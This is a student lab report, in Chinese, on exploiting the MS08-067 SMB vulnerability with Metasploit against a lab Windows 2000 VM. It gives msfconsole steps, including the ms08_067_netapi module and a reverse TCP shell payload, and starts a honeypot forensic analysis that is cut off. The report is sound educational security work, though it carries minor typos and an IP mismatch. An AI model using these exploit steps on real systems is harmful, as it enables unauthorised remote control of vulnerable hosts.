20212903 2021-2022-2 《网络攻防实践》实践六报告

1.实践内容

metasploit介绍

The Metasploit Framework的简称。MSF高度模块化，即框架由多个module组成，是全球最受欢迎的工具。是一款开源安全漏洞利用和测试工具，集成了各种平台上常见的溢出漏洞和流行的shellcode，并持续保持更新。
metasploit涵盖了渗透测试中全过程，你可以在这个框架下利用现有的Payload进行一系列的渗透测试。

MS08-067漏洞

漏洞描述：

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”，攻击者利用受害者主机默认开放的SMB服务端口445，发送特殊RPC（Remote Procedure Call，远程过程调用）请求，造成栈缓冲区内存错误，从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时，该漏洞会允许远程执行代码，攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时，该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统，包括：

Windows 2000
Windows XP
Windows Server 2003

漏洞原理：

MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时，会调用NetpwPathCanonicalize函数，对远程访问的路径进行规范化，而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误（溢出），造成可被利用实施远程代码执行（Remote Code Execution）。

2.实践过程

（1）动手实践Metasploit windows attacker

任务：使用metasploit软件进行windows远程渗透统计实验
具体任务内容：使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击，获取目标主机的访问权

虚拟机名称	IP地址
攻击机Kali	172.30.2.58
靶机Win2kServer	172.30.6.80

1、首先测试靶机与攻击机的连通性

靶机与攻击机处于同一网段下，可以相互ping通

2、然后再在kali中输入命令msfconsole进入Metasploit

3、输入命令search ms08-067查看漏洞

4、show options查看需要设置的参数

5、show payloads显示可用的攻击负载，，查看有效的攻击载荷

6、输入use exploit/windows/smb/ms08_067_netapi使用相关攻击脚本，set payload generic/shell_reverse_tcp选择要用的攻击负载模块

7、输入命令set RHOST 172.30.6.80 设置要攻击的IP，输入命令set LHOET 172.30.2.58 设置本机

再利用命令show options查看是否配置成功

8、输入命令exploit进行攻击，若出现会话连接则表示攻击成功。

9、进一步验证攻击成功，利用命令ipconifg进行查看IP地址，通过下图可以看出，已经显示出靶机的IP地址

（2）取证分析实践：解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net)，要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机？如果是，为什么
1、攻击者使用了什么破解工具进行攻击

使用wireshark打开snort-0204@0117.log

利用命令ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106进行过滤，通过下图可以看出，存在TCP连接和HTTP数据流。